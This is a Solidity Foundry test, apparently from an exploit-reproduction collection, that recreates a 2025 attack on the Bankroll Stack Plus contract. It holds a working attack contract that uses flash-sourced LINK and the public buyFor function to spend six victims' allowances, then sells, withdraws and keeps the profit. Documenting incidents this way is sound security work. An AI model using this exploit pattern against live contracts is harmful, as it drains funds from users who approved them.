src/test/2025-06/BankrollStackPlus_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 12,234.48 USD
8// Attacker : 0x172dcA3e72E4643ce8B7932f4947347C1E49ba6D
9// Attack Contract : 0x92c56DD0c9EEE1Da9f68F6E0F70C4A77de7B2b3c
10// Vulnerable Contract : 0x7B3611B0afFC27d212A68293831d3B55354B802f
11// Attack Tx : https://etherscan.io/tx/0x8905a0aca5849626c0de026c2d2894ddfa8060a27725221f01aac9fb0b3d6629
12//
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x7B3611B0afFC27d212A68293831d3B55354B802f#code
15//
16// @Analysis
17// Telegram Alert : https://t.me/defimon_alerts/1301
18//
19// Attack summary: the attacker used flash-sourced LINK to buy Bankroll Stack Plus shares, then called the
20// public buyFor(address,uint256) function against accounts that had pre-approved the Bankroll contract.
21// Those forced buys injected more LINK and fee accounting into the pool before the attacker sold and withdrew.
22// Root cause: buyFor lets any caller spend a third party's token allowance and mutate pool accounting for that
23// third party, enabling an attacker to combine victim allowances with a same-transaction buy/sell cycle.
24 
25address constant ATTACKER = 0x172Dca3e72e4643cE8B7932F4947347C1e49bA6d;
26address constant HISTORICAL_ATTACK_CONTRACT = 0x92C56dD0c9Eee1Da9f68f6e0F70C4a77dE7B2b3C;
27address constant BANKROLL_STACK_PLUS = 0x7B3611b0AfFc27D212A68293831d3B55354B802F;
28address constant UNISWAP_V4_POOL_MANAGER = 0x000000000004444c5dc75cB358380D2e3dE08A90;
29address constant UNISWAP_V2_ROUTER = 0xf164fC0Ec4E93095b804a4795bBe1e041497b92a;
30address constant LINK_TOKEN = 0x514910771AF9Ca656af840dff83E8264EcF986CA;
31address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
32 
33uint256 constant FLASH_LINK_AMOUNT = 13_635 ether;
34uint256 constant LINK_TO_WETH_SWAP_AMOUNT = 7_800 ether;
35uint256 constant ATTACKER_BUY_AMOUNT = 5_835 ether;
36 
37interface IBankrollStackPlus {
38    function buy(
39        uint256 buyAmount
40    ) external returns (uint256);
41    function buyFor(address customer, uint256 buyAmount) external returns (uint256);
42    function myTokens() external view returns (uint256);
43    function sell(
44        uint256 amountOfTokens
45    ) external;
46    function withdraw() external;
47}
48 
49interface IUniswapV2RouterLike {
50    function swapExactTokensForTokens(
51        uint256 amountIn,
52        uint256 amountOutMin,
53        address[] calldata path,
54        address to,
55        uint256 deadline
56    ) external returns (uint256[] memory amounts);
57}
58 
59contract ContractTest is BaseTestWithBalanceLog {
60    address[6] private buyers = [
61        0x24DD493Af24Abc8E1c27A1592E4CCfa55D4aA4bD,
62        0x52ecc67bcaFF974728160EAcB70eED1945D1C94F,
63        0x6bfe931216d69AA1884FC76192490db5b0f82660,
64        0xD039424B9aA1833859c2a8338902853B1FC32203,
65        0xf22a6502a60B0758A5d7d702990e88086Ea14C9B,
66        0xF6D44482c95190cAeBb37b31CaF57cf6b5315Bd1
67    ];
68 
69    uint256[6] private buyAmounts = [
70        88_296987564707074262,
71        7_600000000000000000,
72        547_016590000000000000,
73        725278500000000000,
74        39_500000000000000000,
75        135_883166404073800795
76    ];
77 
78    function setUp() public {
79        uint256 forkBlock = 22_734_354;
80        vm.createSelectFork("mainnet", forkBlock);
81 
82        fundingToken = LINK_TOKEN;
83        attacker = ATTACKER;
84 
85        vm.label(ATTACKER, "Attacker");
86        vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");
87        vm.label(BANKROLL_STACK_PLUS, "Bankroll Stack Plus");
88        vm.label(UNISWAP_V4_POOL_MANAGER, "Uniswap V4 PoolManager");
89        vm.label(UNISWAP_V2_ROUTER, "Uniswap V2 Router");
90        vm.label(LINK_TOKEN, "LINK");
91        vm.label(WETH_TOKEN, "WETH");
92    }
93 
94    function testExploit() public balanceLog {
95        uint256 attackerLinkBefore = IERC20(LINK_TOKEN).balanceOf(ATTACKER);
96        uint256 poolManagerLinkBefore = IERC20(LINK_TOKEN).balanceOf(UNISWAP_V4_POOL_MANAGER);
97 
98        assertGe(poolManagerLinkBefore, FLASH_LINK_AMOUNT);
99        for (uint256 i; i < buyers.length; ++i) {
100            assertGe(IERC20(LINK_TOKEN).balanceOf(buyers[i]), buyAmounts[i]);
101            assertGe(IERC20(LINK_TOKEN).allowance(buyers[i], BANKROLL_STACK_PLUS), buyAmounts[i]);
102        }
103 
104        BankrollStackPlusAttack attack = new BankrollStackPlusAttack(ATTACKER, buyers, buyAmounts);
105 
106        // step 1: model the historical Uniswap V4 PoolManager take() as same-transaction flash capital.
107        vm.prank(UNISWAP_V4_POOL_MANAGER);
108        IERC20(LINK_TOKEN).transfer(address(attack), FLASH_LINK_AMOUNT);
109 
110        attack.execute();
111 
112        uint256 attackerProfit = IERC20(LINK_TOKEN).balanceOf(ATTACKER) - attackerLinkBefore;
113        assertGt(attackerProfit, 900 ether);
114        assertEq(IERC20(LINK_TOKEN).balanceOf(UNISWAP_V4_POOL_MANAGER), poolManagerLinkBefore);
115    }
116}
117 
118contract BankrollStackPlusAttack {
119    address private immutable profitReceiver;
120    address[6] private buyers;
121    uint256[6] private buyAmounts;
122 
123    constructor(address receiver, address[6] memory victims, uint256[6] memory amounts) {
124        profitReceiver = receiver;
125        buyers = victims;
126        buyAmounts = amounts;
127 
128        IERC20(LINK_TOKEN).approve(BANKROLL_STACK_PLUS, type(uint256).max);
129        IERC20(LINK_TOKEN).approve(UNISWAP_V2_ROUTER, type(uint256).max);
130        IERC20(WETH_TOKEN).approve(UNISWAP_V2_ROUTER, type(uint256).max);
131    }
132 
133    function execute() external {
134        address[] memory linkToWeth = new address[](2);
135        linkToWeth[0] = LINK_TOKEN;
136        linkToWeth[1] = WETH_TOKEN;
137 
138        // step 2: swap part of the flash LINK to WETH, matching the historical setup for the later repayment swap.
139        IUniswapV2RouterLike(UNISWAP_V2_ROUTER).swapExactTokensForTokens(
140            LINK_TO_WETH_SWAP_AMOUNT, 1, linkToWeth, address(this), block.timestamp + 1 hours
141        );
142 
143        // step 3: buy attacker shares, then force third-party buys through existing LINK allowances.
144        IBankrollStackPlus(BANKROLL_STACK_PLUS).buy(ATTACKER_BUY_AMOUNT);
145        for (uint256 i; i < buyers.length; ++i) {
146            IBankrollStackPlus(BANKROLL_STACK_PLUS).buyFor(buyers[i], buyAmounts[i]);
147        }
148 
149        // step 4: sell attacker shares and withdraw the boosted dividend balance.
150        uint256 shares = IBankrollStackPlus(BANKROLL_STACK_PLUS).myTokens();
151        IBankrollStackPlus(BANKROLL_STACK_PLUS).sell(shares);
152        IBankrollStackPlus(BANKROLL_STACK_PLUS).withdraw();
153 
154        address[] memory wethToLink = new address[](2);
155        wethToLink[0] = WETH_TOKEN;
156        wethToLink[1] = LINK_TOKEN;
157 
158        uint256 wethBalance = IERC20(WETH_TOKEN).balanceOf(address(this));
159        IUniswapV2RouterLike(UNISWAP_V2_ROUTER).swapExactTokensForTokens(
160            wethBalance, 1, wethToLink, address(this), block.timestamp + 1 hours
161        );
162 
163        // step 5: repay the flash source and keep the remaining LINK profit.
164        IERC20(LINK_TOKEN).transfer(UNISWAP_V4_POOL_MANAGER, FLASH_LINK_AMOUNT);
165        IERC20(LINK_TOKEN).transfer(profitReceiver, IERC20(LINK_TOKEN).balanceOf(address(this)));
166    }
167}